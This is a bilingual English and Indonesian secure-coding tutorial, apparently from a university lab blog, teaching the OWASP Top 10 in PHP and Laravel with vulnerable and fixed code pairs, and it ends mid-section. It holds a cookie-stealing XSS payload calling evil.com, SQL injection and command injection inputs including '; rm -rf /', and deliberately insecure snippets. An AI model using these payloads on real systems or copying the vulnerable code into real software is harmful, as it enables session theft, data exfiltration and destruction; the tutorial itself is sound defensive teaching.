Skip to content
SE Laboratory
se-polinema
se-labsrcblogsecure-coding-fundamentals-owasp-top-10-php.md
Ln 1, Col 1Markdown
Reading progress: 0%

Secure Coding Fundamentals with PHP: OWASP Top 10

July 10, 2026 · tutorial · 74 min read

BySESE Lab

Last updated July 10, 2026

Tags:SecurityOWASPSecure CodingPHPLaravel

Why Secure Coding Matters for Student Projects

Every semester, SE Lab students build real-world systems—fintech payment flows, healthcare patient portals, EdTech LMS platforms, and IoT dashboards. These systems process real sensitive data: financial transactions, medical records, personal identities, and academic credentials. A single vulnerability in any of these projects is not a hypothetical exercise. It is a breach waiting to happen.

Consider these real-world consequences of common student-project vulnerabilities:

VulnerabilityReal-World ConsequenceExample
SQL InjectionEntire database exfiltrated in minutesA login form that concatenates user input into SQL gives an attacker every user record
Broken Access ControlOne student sees another student’s grades, health records, or financial dataGET /records/123 returns record/124 when the ID is changed in the URL
Cryptographic FailuresPasswords cracked in seconds, session tokens forgedStoring MD5(password) in 2026 is trivially reversible
Cross-Site Scripting (XSS)Session hijacking, credential theftA comment field that renders unsanitised HTML steals every viewer’s session cookie
Security MisconfigurationDirectory listing exposes .env files, debug pages leak stack tracesLeaving APP_DEBUG=true in production reveals database credentials in error pages

Security is not a feature you bolt on at the end. It is the foundation beneath every layer of your application. This tutorial gives you the practical skills to build that foundation in PHP and Laravel—the stack used across SE Lab courses and thesis projects.

Connection to SE Lab Research

This tutorial serves all three SE Lab research streams:

  • SE Methodologies & Architecture — Secure SDLC practices, threat modelling, security-as-design-principle
  • Domain-Specific SE Applications — Domain-specific threats in fintech (PCI-DSS), healthcare (HIPAA), and EdTech (FERPA-inspired controls)
  • Emerging Technologies in SE — Security risks in AI-generated code, LLM prompt injection, securing AI-assisted development workflows

What You Will Learn

  • The OWASP Top 10 (2021 edition) and how each risk manifests in PHP applications
  • Secure coding patterns and anti-patterns with concrete before/after code examples
  • Laravel-specific security features: Eloquent ORM protection, built-in CSRF, encryption, and authentication guards
  • How to audit your own code with a reusable secure-coding checklist
  • Hands-on exercise: securing a deliberately vulnerable student portal

Mengapa Secure Coding Penting untuk Proyek Mahasiswa

Setiap semester, mahasiswa SE Lab membangun sistem dunia nyata: alur pembayaran fintech, portal pasien kesehatan, platform LMS EdTech, dan dashboard IoT. Sistem ini memproses data sensitif nyata: transaksi keuangan, catatan medis, identitas pribadi, dan kredensial akademik. Satu kerentanan di proyek-proyek ini bukanlah latihan hipotetis. Ini adalah pelanggaran yang menunggu untuk terjadi.

Pertimbangkan konsekuensi nyata dari kerentanan umum di proyek mahasiswa:

KerentananKonsekuensi NyataContoh
SQL InjectionSeluruh database dieksfiltrasi dalam hitungan menitForm login yang menggabungkan input pengguna ke SQL memberi penyerang semua data pengguna
Broken Access ControlSatu mahasiswa melihat nilai, catatan kesehatan, atau data keuangan mahasiswa lainGET /records/123 mengembalikan record/124 ketika ID diubah di URL
Kegagalan KriptografiPassword diretas dalam hitungan detik, token sesi dipalsukanMenyimpan MD5(password) di tahun 2026 dapat dibalikkan dengan mudah
Cross-Site Scripting (XSS)Pembajakan sesi, pencurian kredensialKolom komentar yang me-render HTML tidak disanitasi mencuri cookie sesi setiap penonton
Miskonfigurasi KeamananDirectory listing mengekspos file .env, halaman debug membocorkan stack traceMembiarkan APP_DEBUG=true di production mengungkapkan kredensial database di halaman error

Keamanan bukanlah fitur yang Anda pasang di akhir. Ini adalah fondasi di bawah setiap lapisan aplikasi Anda. Tutorial ini memberi Anda keterampilan praktis untuk membangun fondasi itu dalam PHP dan Laravel, stack yang digunakan di seluruh mata kuliah dan proyek tesis SE Lab.

Koneksi dengan Riset SE Lab

Tutorial ini melayani ketiga aliran riset SE Lab:

  • Metodologi & Arsitektur SE: Praktik Secure SDLC, threat modelling, keamanan-sebagai-prinsip-desain
  • Aplikasi SE Spesifik Domain: Ancaman spesifik domain dalam fintech (PCI-DSS), kesehatan (HIPAA), dan EdTech (kontrol terinspirasi FERPA)
  • Teknologi Baru dalam SE: Risiko keamanan dalam kode yang dihasilkan AI, injeksi prompt LLM, mengamankan alur kerja pengembangan berbantuan AI

Yang Akan Anda Pelajari

  • OWASP Top 10 (edisi 2021) dan bagaimana setiap risiko termanifestasi dalam aplikasi PHP
  • Pola dan anti-pola secure coding dengan contoh kode before/after yang konkret
  • Fitur keamanan spesifik Laravel: perlindungan Eloquent ORM, CSRF bawaan, enkripsi, dan guard autentikasi
  • Cara mengaudit kode Anda sendiri dengan checklist secure coding yang dapat digunakan kembali
  • Latihan langsung: mengamankan portal mahasiswa yang sengaja dibuat rentan

Secure Software Development Lifecycle (SSDLC) in a Nutshell

Traditional SDLC treats security as a final stage—penetration testing before deploy. This is expensive, slow, and ineffective. A vulnerability found at the penetration-testing stage costs 30× more to fix than one found during requirements or design.

The Secure SDLC (SSDLC) shifts security left—into every phase of development:

SDLC PhaseSecurity ActivityWho
RequirementsDefine security requirements, regulatory compliance needs, abuse casesProduct owner + Security engineer
DesignThreat modelling (STRIDE), architecture risk analysis, secure design reviewArchitect + Security engineer
ImplementationSecure coding standards, static analysis (SAST), peer reviews with security checklistDevelopers
TestingDynamic analysis (DAST), fuzz testing, dependency scanning, security regression testsQA + Security engineer
DeploymentInfrastructure hardening, secrets management, WAF configuration, monitoringDevOps + Security engineer
MaintenanceVulnerability disclosure program, patch management, incident response drillsOperations + Security engineer

Threat Modelling with STRIDE

Before you write a line of code, ask these six questions about every component:

STRIDE CategoryQuestionExample for a Student Portal
SpoofingCan an attacker impersonate a user?Weak password reset, missing MFA
TamperingCan data be modified in transit or storage?No HMAC on grade records
RepudiationCan a user deny an action?No audit log for grade changes
Information DisclosureCan sensitive data leak?API returns all user fields including password hash
Denial of ServiceCan the system be overwhelmed?No rate limiting on login endpoint
Elevation of PrivilegeCan a user gain unauthorised access??role=admin query parameter controls permissions

This is not an academic exercise. Every item in the STRIDE table maps to a concrete OWASP Top 10 risk and a fix you will implement in this tutorial.

Why Shift-Left Matters

A vulnerability found during requirements costs one hour to fix. The same vulnerability found in production costs days of incident response, forensic analysis, customer notification, and patching—plus reputational damage that cannot be measured in hours.

“Security is not a product. It is a process.” — Bruce Schneier

Secure Software Development Lifecycle (SSDLC) Secara Singkat

SDLC tradisional memperlakukan keamanan sebagai tahap akhir: pengujian penetrasi sebelum deploy. Ini mahal, lambat, dan tidak efektif. Kerentanan yang ditemukan pada tahap pengujian penetrasi biayanya 30× lebih mahal untuk diperbaiki daripada yang ditemukan selama requirements atau desain.

Secure SDLC (SSDLC) menggeser keamanan ke kiri, ke dalam setiap fase pengembangan:

Fase SDLCAktivitas KeamananSiapa
RequirementsDefinisikan persyaratan keamanan, kebutuhan kepatuhan regulasi, abuse caseProduct owner + Security engineer
DesainThreat modelling (STRIDE), analisis risiko arsitektur, secure design reviewArchitect + Security engineer
ImplementasiStandar secure coding, static analysis (SAST), peer review dengan checklist keamananDevelopers
PengujianDynamic analysis (DAST), fuzz testing, pemindaian dependensi, security regression testsQA + Security engineer
DeploymentHardening infrastruktur, manajemen secrets, konfigurasi WAF, monitoringDevOps + Security engineer
PemeliharaanProgram pengungkapan kerentanan, manajemen patch, latihan respons insidenOperations + Security engineer

Threat Modelling dengan STRIDE

Sebelum Anda menulis satu baris kode, tanyakan enam pertanyaan ini tentang setiap komponen:

Kategori STRIDEPertanyaanContoh untuk Portal Mahasiswa
SpoofingDapatkah penyerang menyamar sebagai pengguna?Reset password lemah, tidak ada MFA
TamperingDapatkah data dimodifikasi dalam transit atau penyimpanan?Tidak ada HMAC pada catatan nilai
RepudiationDapatkah pengguna menyangkal suatu tindakan?Tidak ada log audit untuk perubahan nilai
Information DisclosureDapatkah data sensitif bocor?API mengembalikan semua field pengguna termasuk hash password
Denial of ServiceDapatkah sistem dikewalahkan?Tidak ada rate limiting pada endpoint login
Elevation of PrivilegeDapatkah pengguna mendapatkan akses tidak sah?Parameter query ?role=admin mengontrol izin

Ini bukan latihan akademis. Setiap item dalam tabel STRIDE memetakan ke risiko OWASP Top 10 yang konkret dan perbaikan yang akan Anda implementasikan dalam tutorial ini.

Mengapa Shift-Left Penting

Kerentanan yang ditemukan selama requirements membutuhkan satu jam untuk diperbaiki. Kerentanan yang sama ditemukan di production membutuhkan berhari-hari respons insiden, analisis forensik, notifikasi pelanggan, dan patching, ditambah kerusakan reputasi yang tidak dapat diukur dalam jam.

“Keamanan bukanlah produk. Ini adalah proses.” (Bruce Schneier)


OWASP Top 10 Overview (2021 Edition)

The Open Web Application Security Project (OWASP) publishes the Top 10 Web Application Security Risks—the definitive reference for what to protect against. The 2021 edition reordered and renamed several categories to reflect shifts in the threat landscape.

Here is the complete 2021 list, with each risk mapped to a concrete PHP vulnerability:

RankRiskWhat It Means in PHPData Impact
A01Broken Access ControlBypassing authorisation checks, IDOR (Insecure Direct Object Reference), CORS misconfigurationConfidentiality, Integrity
A02Cryptographic FailuresWeak hashing (MD5, SHA1), hardcoded keys, missing TLS, predictable tokensConfidentiality
A03InjectionSQL injection, command injection, LDAP injection, XSS via unsanitised outputConfidentiality, Integrity
A04Insecure DesignMissing rate limiting, no audit log, unsafe deserialisation, trust-by-defaultIntegrity, Availability
A05Security MisconfigurationDebug mode in production, default credentials, verbose error messages, exposed .envConfidentiality
A06Vulnerable and Outdated ComponentsUnpatched Laravel, abandoned Composer packages, end-of-life PHP versionsAll
A07Identification and Authentication FailuresWeak password policy, missing MFA, session fixation, predictable password reset tokensConfidentiality
A08Software and Data Integrity FailuresComposer dependency confusion, unsigned updates, deserialisation of untrusted data, CI/CD pipeline tamperingIntegrity
A09Security Logging and Monitoring FailuresNo audit trail, unlogged authentication failures, log injection, missing alertingVisibility
A10Server-Side Request Forgery (SSRF)Unvalidated URL fetching, internal network scanning, cloud metadata service accessConfidentiality

The next section provides a deep dive into each risk with vulnerable PHP code and its secure counterpart.

Ikhtisar OWASP Top 10 (Edisi 2021)

Open Web Application Security Project (OWASP) menerbitkan Top 10 Risiko Keamanan Aplikasi Web, referensi definitif tentang apa yang harus dilindungi. Edisi 2021 mengurutkan ulang dan mengganti nama beberapa kategori untuk mencerminkan pergeseran dalam lanskap ancaman.

Berikut adalah daftar lengkap 2021, dengan setiap risiko dipetakan ke kerentanan PHP yang konkret:

PeringkatRisikoArtinya dalam PHPDampak Data
A01Broken Access ControlMelewati pemeriksaan otorisasi, IDOR (Insecure Direct Object Reference), miskonfigurasi CORSKerahasiaan, Integritas
A02Kegagalan KriptografiHashing lemah (MD5, SHA1), kunci hardcode, TLS hilang, token dapat diprediksiKerahasiaan
A03InjeksiSQL injection, command injection, LDAP injection, XSS melalui output tidak disanitasiKerahasiaan, Integritas
A04Desain Tidak AmanTidak ada rate limiting, tidak ada log audit, deserialisasi tidak aman, trust-by-defaultIntegritas, Ketersediaan
A05Miskonfigurasi KeamananMode debug di production, kredensial default, pesan error verbose, .env tereksposKerahasiaan
A06Komponen Rentan dan UsangLaravel tidak di-patch, paket Composer ditinggalkan, versi PHP end-of-lifeSemua
A07Kegagalan Identifikasi dan AutentikasiKebijakan password lemah, tidak ada MFA, session fixation, token reset password dapat diprediksiKerahasiaan
A08Kegagalan Integritas Perangkat Lunak dan DataKerancuan dependensi Composer, update tidak ditandatangani, deserialisasi data tidak terpercaya, perusakan pipeline CI/CDIntegritas
A09Kegagalan Pencatatan dan Pemantauan KeamananTidak ada jejak audit, kegagalan autentikasi tidak tercatat, log injection, tidak ada alertingVisibilitas
A10Server-Side Request Forgery (SSRF)Pengambilan URL tidak divalidasi, pemindaian jaringan internal, akses layanan metadata cloudKerahasiaan

Bagian berikutnya memberikan pendalaman setiap risiko dengan kode PHP rentan dan padanannya yang aman.


A01: Broken Access Control

Broken Access Control is the most common OWASP risk year after year. It occurs when users can perform actions or access data beyond their intended permissions.

The Classic IDOR (Insecure Direct Object Reference)

Vulnerable Code:

<?php

// DANGEROUS: No ownership check — any authenticated user can view any record
public function viewStudentRecord(int $id): array
{
    $stmt = $this->pdo->prepare(
        'SELECT * FROM student_records WHERE id = :id'
    );
    $stmt->execute(['id' => $id]);

    return $stmt->fetch(PDO::FETCH_ASSOC);
}

If a student with ID 101 visits /records/101, they see their own record. Change the URL to /records/102 and they see another student’s record. No ownership verification. This is how healthcare breaches, grade leaks, and financial data exposure happen in student projects.

Secure Code:

<?php

declare(strict_types=1);

// SECURE: Ownership verified against the authenticated user
public function viewStudentRecord(int $recordId, string $authenticatedUserId): array
{
    $stmt = $this->pdo->prepare(
        'SELECT sr.*
         FROM student_records sr
         JOIN record_permissions rp ON sr.id = rp.record_id
         WHERE sr.id = :record_id
         AND rp.user_id = :user_id
         AND rp.permission_type IN ("owner", "viewer")'
    );
    $stmt->execute([
        'record_id' => $recordId,
        'user_id'   => $authenticatedUserId,
    ]);

    $record = $stmt->fetch(PDO::FETCH_ASSOC);

    if (!$record) {
        throw new AccessDeniedException('Record not found or access denied.');
    }

    return $record;
}

The secure version joins against a permissions table. Even if the record exists, the query returns nothing unless the authenticated user has explicit permission. The error message is intentionally ambiguous—never confirm whether a record exists when denying access.

Laravel: Policies and Gates

Laravel provides a robust authorisation system. Define a policy:

<?php

namespace App\Policies;

use App\Models\StudentRecord;
use App\Models\User;

class StudentRecordPolicy
{
    public function view(User $user, StudentRecord $record): bool
    {
        return $record->permissions()
            ->where('user_id', $user->id)
            ->whereIn('permission_type', ['owner', 'viewer'])
            ->exists();
    }

    public function update(User $user, StudentRecord $record): bool
    {
        return $record->permissions()
            ->where('user_id', $user->id)
            ->where('permission_type', 'owner')
            ->exists();
    }
}

Apply it in the controller:

<?php

namespace App\Http\Controllers;

use App\Models\StudentRecord;

class StudentRecordController extends Controller
{
    public function show(StudentRecord $record): \Illuminate\View\View
    {
        $this->authorize('view', $record);

        return view('records.show', compact('record'));
    }
}

The $this->authorize('view', $record) call throws a 403 Forbidden if the policy denies access—before any data is rendered.

CORS Misconfiguration

A permissive CORS policy allows any origin to make authenticated requests to your API:

// DANGEROUS in production
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Credentials: true');

Never combine * with credentials: true. This allows a malicious website to make authenticated API calls on behalf of your logged-in users. In Laravel, configure CORS in config/cors.php:

'allowed_origins' => ['https://se.polinema.ac.id'],
'supports_credentials' => true,

Access Control Checklist

  • Every data-access endpoint verifies ownership or permission before returning data
  • Authorisation checks happen at the server, never trust client-side UI hiding
  • CORS allowed_origins is explicit, never * with credentials
  • JWT tokens include scope/role claims verified on every request
  • Administrative routes are behind middleware (e.g., auth:api + can:admin)

A01: Broken Access Control

Broken Access Control adalah risiko OWASP paling umum tahun demi tahun. Ini terjadi ketika pengguna dapat melakukan tindakan atau mengakses data di luar izin yang dimaksudkan.

IDOR Klasik (Insecure Direct Object Reference)

Kode Rentan:

<?php

// BERBAHAYA: Tidak ada pemeriksaan kepemilikan — setiap pengguna terautentikasi dapat melihat catatan apa pun
public function viewStudentRecord(int $id): array
{
    $stmt = $this->pdo->prepare(
        'SELECT * FROM student_records WHERE id = :id'
    );
    $stmt->execute(['id' => $id]);

    return $stmt->fetch(PDO::FETCH_ASSOC);
}

Jika mahasiswa dengan ID 101 mengunjungi /records/101, mereka melihat catatan mereka sendiri. Ubah URL menjadi /records/102 dan mereka melihat catatan mahasiswa lain. Tidak ada verifikasi kepemilikan. Beginilah pelanggaran kesehatan, kebocoran nilai, dan eksposur data keuangan terjadi di proyek mahasiswa.

Kode Aman:

<?php

declare(strict_types=1);

// AMAN: Kepemilikan diverifikasi terhadap pengguna yang terautentikasi
public function viewStudentRecord(int $recordId, string $authenticatedUserId): array
{
    $stmt = $this->pdo->prepare(
        'SELECT sr.*
         FROM student_records sr
         JOIN record_permissions rp ON sr.id = rp.record_id
         WHERE sr.id = :record_id
         AND rp.user_id = :user_id
         AND rp.permission_type IN ("owner", "viewer")'
    );
    $stmt->execute([
        'record_id' => $recordId,
        'user_id'   => $authenticatedUserId,
    ]);

    $record = $stmt->fetch(PDO::FETCH_ASSOC);

    if (!$record) {
        throw new AccessDeniedException('Catatan tidak ditemukan atau akses ditolak.');
    }

    return $record;
}

Versi aman melakukan JOIN terhadap tabel izin. Bahkan jika catatan ada, query tidak mengembalikan apa pun kecuali pengguna terautentikasi memiliki izin eksplisit. Pesan error sengaja ambigu: jangan pernah mengonfirmasi apakah catatan ada saat menolak akses.

Laravel: Policies dan Gates

Laravel menyediakan sistem otorisasi yang kuat. Definisikan policy:

<?php

namespace App\Policies;

use App\Models\StudentRecord;
use App\Models\User;

class StudentRecordPolicy
{
    public function view(User $user, StudentRecord $record): bool
    {
        return $record->permissions()
            ->where('user_id', $user->id)
            ->whereIn('permission_type', ['owner', 'viewer'])
            ->exists();
    }

    public function update(User $user, StudentRecord $record): bool
    {
        return $record->permissions()
            ->where('user_id', $user->id)
            ->where('permission_type', 'owner')
            ->exists();
    }
}

Terapkan di controller:

<?php

namespace App\Http\Controllers;

use App\Models\StudentRecord;

class StudentRecordController extends Controller
{
    public function show(StudentRecord $record): \Illuminate\View\View
    {
        $this->authorize('view', $record);

        return view('records.show', compact('record'));
    }
}

Panggilan $this->authorize('view', $record) melempar 403 Forbidden jika policy menolak akses, sebelum data apa pun di-render.

Miskonfigurasi CORS

Kebijakan CORS permisif memungkinkan origin apa pun membuat permintaan terautentikasi ke API Anda:

// BERBAHAYA di production
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Credentials: true');

Jangan pernah menggabungkan * dengan credentials: true. Ini memungkinkan situs web jahat membuat panggilan API terautentikasi atas nama pengguna yang login. Di Laravel, konfigurasikan CORS di config/cors.php:

'allowed_origins' => ['https://se.polinema.ac.id'],
'supports_credentials' => true,

Checklist Kontrol Akses

  • Setiap endpoint akses data memverifikasi kepemilikan atau izin sebelum mengembalikan data
  • Pemeriksaan otorisasi terjadi di server, jangan pernah percaya penyembunyian UI sisi klien
  • CORS allowed_origins bersifat eksplisit, jangan pernah * dengan credentials
  • Token JWT menyertakan klaim scope/role yang diverifikasi di setiap permintaan
  • Rute administratif berada di belakang middleware (misalnya, auth:api + can:admin)

A02: Cryptographic Failures

Cryptographic failures happen when sensitive data is protected with weak algorithms, hardcoded keys, or missing encryption entirely.

Weak Password Hashing

Vulnerable Code:

<?php

// DANGEROUS: MD5 and SHA1 are trivially reversible with rainbow tables
$hashedPassword = md5($password);
$hashedPassword = sha1($password);

// Also dangerous: fast hashes without salts are vulnerable to GPU-based cracking
$hashedPassword = hash('sha256', $password);

MD5 can process billions of hashes per second on a single GPU. A 10-character password is cracked in minutes.

Secure Code:

<?php

declare(strict_types=1);

// SECURE: bcrypt with cost factor 12 (or higher)
// PHP's password_hash() uses bcrypt by default with a random salt
$hashedPassword = password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]);

// Verification
if (!password_verify($inputPassword, $storedHash)) {
    throw new AuthenticationException('Invalid credentials.');
}

// Upgrade the hash if the cost factor has changed
if (password_needs_rehash($storedHash, PASSWORD_BCRYPT, ['cost' => 12])) {
    $newHash = password_hash($inputPassword, PASSWORD_BCRYPT, ['cost' => 12]);
    $this->userRepository->updatePasswordHash($userId, $newHash);
}

password_verify() is timing-attack-safe. password_needs_rehash() lets you transparently upgrade hashing parameters without forcing password resets.

Laravel: Built-in Hashing

Laravel’s Hash facade wraps bcrypt with sensible defaults:

use Illuminate\Support\Facades\Hash;

// Hashing
$hashedPassword = Hash::make($request->password);

// Verification
if (!Hash::check($request->password, $user->password)) {
    return back()->withErrors(['email' => 'Invalid credentials.']);
}

// Auto-upgrade during login (in LoginController or Fortify)
if (Hash::needsRehash($user->password)) {
    $user->password = Hash::make($request->password);
    $user->save();
}

Hardcoded Secrets

Vulnerable Code:

<?php

// DANGEROUS: Hardcoded in source — committed to Git, visible to everyone with repo access
$encryptionKey = 'my-secret-key-12345';
$apiToken = 'sk_live_9876543210abcdef';
$dbPassword = 'admin123';

Secure Code:

<?php

declare(strict_types=1);

// SECURE: Read from environment, never hardcode
$encryptionKey = $_ENV['APP_KEY'] ?? throw new \RuntimeException('APP_KEY not set');
$apiToken = $_ENV['THIRD_PARTY_API_TOKEN'] ?? throw new \RuntimeException('API token not set');

In Laravel, store secrets in .env and access them via config() or env():

// config/services.php
'stripe' => [
    'key' => env('STRIPE_KEY'),
    'secret' => env('STRIPE_SECRET'),
],

// In application code
$stripeSecret = config('services.stripe.secret');

Rules for secrets:

  • Never commit .env to Git (add to .gitignore)
  • Rotate secrets if they are accidentally committed—removing from history is not enough
  • Use Laravel’s php artisan config:cache in production to prevent .env reads at runtime

Laravel Encryption

Laravel’s Crypt facade provides AES-256-CBC encryption using the APP_KEY:

use Illuminate\Support\Facades\Crypt;

$encrypted = Crypt::encryptString($sensitiveData);
$decrypted = Crypt::decryptString($encrypted);

// For Eloquent models, use the Encrypted cast
class StudentRecord extends Model
{
    protected $casts = [
        'ssn' => 'encrypted',       // auto-encrypt on write, auto-decrypt on read
        'medical_notes' => 'encrypted',
    ];
}

A02: Kegagalan Kriptografi

Kegagalan kriptografi terjadi ketika data sensitif dilindungi dengan algoritma lemah, kunci hardcode, atau tanpa enkripsi sama sekali.

Hashing Password Lemah

Kode Rentan:

<?php

// BERBAHAYA: MD5 dan SHA1 dapat dibalikkan dengan mudah menggunakan rainbow tables
$hashedPassword = md5($password);
$hashedPassword = sha1($password);

// Juga berbahaya: hash cepat tanpa salt rentan terhadap cracking berbasis GPU
$hashedPassword = hash('sha256', $password);

MD5 dapat memproses miliaran hash per detik pada satu GPU. Password 10 karakter diretas dalam hitungan menit.

Kode Aman:

<?php

declare(strict_types=1);

// AMAN: bcrypt dengan cost factor 12 (atau lebih tinggi)
// password_hash() PHP menggunakan bcrypt secara default dengan salt acak
$hashedPassword = password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]);

// Verifikasi
if (!password_verify($inputPassword, $storedHash)) {
    throw new AuthenticationException('Kredensial tidak valid.');
}

// Upgrade hash jika cost factor telah berubah
if (password_needs_rehash($storedHash, PASSWORD_BCRYPT, ['cost' => 12])) {
    $newHash = password_hash($inputPassword, PASSWORD_BCRYPT, ['cost' => 12]);
    $this->userRepository->updatePasswordHash($userId, $newHash);
}

password_verify() aman terhadap timing attack. password_needs_rehash() memungkinkan Anda meningkatkan parameter hashing secara transparan tanpa memaksa reset password.

Laravel: Hashing Bawaan

Fasad Hash Laravel membungkus bcrypt dengan default yang masuk akal:

use Illuminate\Support\Facades\Hash;

// Hashing
$hashedPassword = Hash::make($request->password);

// Verifikasi
if (!Hash::check($request->password, $user->password)) {
    return back()->withErrors(['email' => 'Kredensial tidak valid.']);
}

// Upgrade otomatis saat login (di LoginController atau Fortify)
if (Hash::needsRehash($user->password)) {
    $user->password = Hash::make($request->password);
    $user->save();
}

Secrets Hardcode

Kode Rentan:

<?php

// BERBAHAYA: Hardcode di source — di-commit ke Git, terlihat oleh semua orang dengan akses repo
$encryptionKey = 'my-secret-key-12345';
$apiToken = 'sk_live_9876543210abcdef';
$dbPassword = 'admin123';

Kode Aman:

<?php

declare(strict_types=1);

// AMAN: Baca dari environment, jangan pernah hardcode
$encryptionKey = $_ENV['APP_KEY'] ?? throw new \RuntimeException('APP_KEY tidak disetel');
$apiToken = $_ENV['THIRD_PARTY_API_TOKEN'] ?? throw new \RuntimeException('Token API tidak disetel');

Di Laravel, simpan secrets di .env dan akses melalui config() atau env():

// config/services.php
'stripe' => [
    'key' => env('STRIPE_KEY'),
    'secret' => env('STRIPE_SECRET'),
],

// Dalam kode aplikasi
$stripeSecret = config('services.stripe.secret');

Aturan untuk secrets:

  • Jangan pernah commit .env ke Git (tambahkan ke .gitignore)
  • Rotasi secrets jika tidak sengaja di-commit: menghapus dari history saja tidak cukup
  • Gunakan php artisan config:cache Laravel di production untuk mencegah pembacaan .env saat runtime

Enkripsi Laravel

Fasad Crypt Laravel menyediakan enkripsi AES-256-CBC menggunakan APP_KEY:

use Illuminate\Support\Facades\Crypt;

$encrypted = Crypt::encryptString($sensitiveData);
$decrypted = Crypt::decryptString($encrypted);

// Untuk model Eloquent, gunakan cast Encrypted
class StudentRecord extends Model
{
    protected $casts = [
        'ssn' => 'encrypted',       // auto-enkripsi saat menulis, auto-dekripsi saat membaca
        'medical_notes' => 'encrypted',
    ];
}

A03: Injection

Injection occurs when untrusted data is sent to an interpreter as part of a command or query. SQL injection is the most common, but command injection, LDAP injection, and Cross-Site Scripting (XSS) are all injection variants.

SQL Injection

Vulnerable Code:

<?php

// DANGEROUS: String interpolation — attacker input becomes part of the SQL command
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '{$username}' AND password = '{$password}'";
$result = $pdo->query($query);

An attacker enters ' OR '1'='1 as the username and any password. The resulting query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'anything'

This returns every user in the database.

Secure Code (PDO Prepared Statements):

<?php

declare(strict_types=1);

// SECURE: Prepared statements separate SQL structure from data values
$stmt = $pdo->prepare(
    'SELECT id, username, password_hash FROM users WHERE username = :username'
);
$stmt->execute(['username' => $_POST['username']]);

$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user && password_verify($_POST['password'], $user['password_hash'])) {
    // Authentication successful
} else {
    // Always use the same error message — don't reveal whether the user exists
    throw new AuthenticationException('Invalid username or password.');
}

Laravel: Eloquent ORM Protection.

Laravel’s Eloquent ORM uses parameterised queries by default:

// Safe: parameter binding is automatic
$user = User::where('email', $request->email)->first();

// Also safe: raw queries with bindings
$users = DB::select(
    'SELECT * FROM users WHERE email = :email AND status = :status',
    ['email' => $request->email, 'status' => 'active']
);

// DANGEROUS: DB::raw() with unsanitised input — avoid unless absolutely necessary
$users = DB::table('users')
    ->whereRaw("email = '{$request->email}'") // SQL injection!
    ->get();

Command Injection

Vulnerable Code:

<?php

// DANGEROUS: User input passed directly to shell
$filename = $_GET['filename'];
$output = shell_exec("cat /var/reports/{$filename}");

An attacker sends filename=../../etc/passwd and reads the system password file. Or filename=; rm -rf / and deletes the server.

Secure Code:

<?php

declare(strict_types=1);

// SECURE: Whitelist validation, no shell execution, use native PHP functions instead
private const ALLOWED_FILES = [
    'report_q1.pdf',
    'report_q2.pdf',
    'transcript_template.docx',
];

public function readReport(string $filename): string
{
    if (!in_array($filename, self::ALLOWED_FILES, true)) {
        throw new \InvalidArgumentException('Invalid filename.');
    }

    $path = realpath('/var/reports/' . basename($filename));

    if ($path === false || !str_starts_with($path, '/var/reports/')) {
        throw new \RuntimeException('Path traversal detected.');
    }

    return file_get_contents($path);
}

Rules for preventing command injection:

  • Never pass user input to shell_exec(), exec(), system(), or backtick operators
  • If shell execution is unavoidable, use escapeshellarg() and escapeshellcmd()—but validate first
  • Prefer native PHP functions (file_get_contents(), PDO, curl) over shell commands

Cross-Site Scripting (XSS)

Vulnerable Code:

<?php

// DANGEROUS: Unsanitised user input rendered directly in HTML
echo "<div class='comment'>" . $_POST['comment'] . "</div>";

An attacker posts <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script> as a comment. Every user viewing the page has their session cookie sent to the attacker’s server.

Secure Code:

<?php

declare(strict_types=1);

// SECURE: HTML-encode all user input before rendering
echo "<div class='comment'>" . htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8') . "</div>";

Laravel: Blade Auto-Escaping.

Laravel’s Blade template engine automatically escapes output with {{ }}:

{{-- Safe: auto-escaped --}}
<div class="comment">{{ $comment }}</div>

{{-- DANGEROUS: Only use {!! !!} with trusted, sanitised content --}}
<div class="comment">{!! $comment !!}</div>

If you must render HTML from a trusted source (e.g., a rich-text editor), use an HTML purifier:

use Stevebauman\Purify\Facades\Purify;

$cleanHtml = Purify::clean($richTextInput);

A03: Injeksi

Injeksi terjadi ketika data tidak terpercaya dikirim ke interpreter sebagai bagian dari perintah atau query. SQL injection adalah yang paling umum, tetapi command injection, LDAP injection, dan Cross-Site Scripting (XSS) adalah varian injeksi.

SQL Injection

Kode Rentan:

<?php

// BERBAHAYA: Interpolasi string — input penyerang menjadi bagian dari perintah SQL
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '{$username}' AND password = '{$password}'";
$result = $pdo->query($query);

Penyerang memasukkan ' OR '1'='1 sebagai username dan password apa pun. Query yang dihasilkan menjadi:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'anything'

Ini mengembalikan setiap pengguna dalam database.

Kode Aman (PDO Prepared Statements):

<?php

declare(strict_types=1);

// AMAN: Prepared statements memisahkan struktur SQL dari nilai data
$stmt = $pdo->prepare(
    'SELECT id, username, password_hash FROM users WHERE username = :username'
);
$stmt->execute(['username' => $_POST['username']]);

$user = $stmt->fetch(PDO::FETCH_ASSOC);

if ($user && password_verify($_POST['password'], $user['password_hash'])) {
    // Autentikasi berhasil
} else {
    // Selalu gunakan pesan error yang sama — jangan ungkapkan apakah pengguna ada
    throw new AuthenticationException('Username atau password tidak valid.');
}

Laravel: Perlindungan Eloquent ORM.

Eloquent ORM Laravel menggunakan parameterised query secara default:

// Aman: pengikatan parameter otomatis
$user = User::where('email', $request->email)->first();

// Juga aman: query mentah dengan binding
$users = DB::select(
    'SELECT * FROM users WHERE email = :email AND status = :status',
    ['email' => $request->email, 'status' => 'active']
);

// BERBAHAYA: DB::raw() dengan input tidak disanitasi — hindari kecuali benar-benar diperlukan
$users = DB::table('users')
    ->whereRaw("email = '{$request->email}'") // SQL injection!
    ->get();

Command Injection

Kode Rentan:

<?php

// BERBAHAYA: Input pengguna diteruskan langsung ke shell
$filename = $_GET['filename'];
$output = shell_exec("cat /var/reports/{$filename}");

Penyerang mengirim filename=../../etc/passwd dan membaca file password sistem. Atau filename=; rm -rf / dan menghapus server.

Kode Aman:

<?php

declare(strict_types=1);

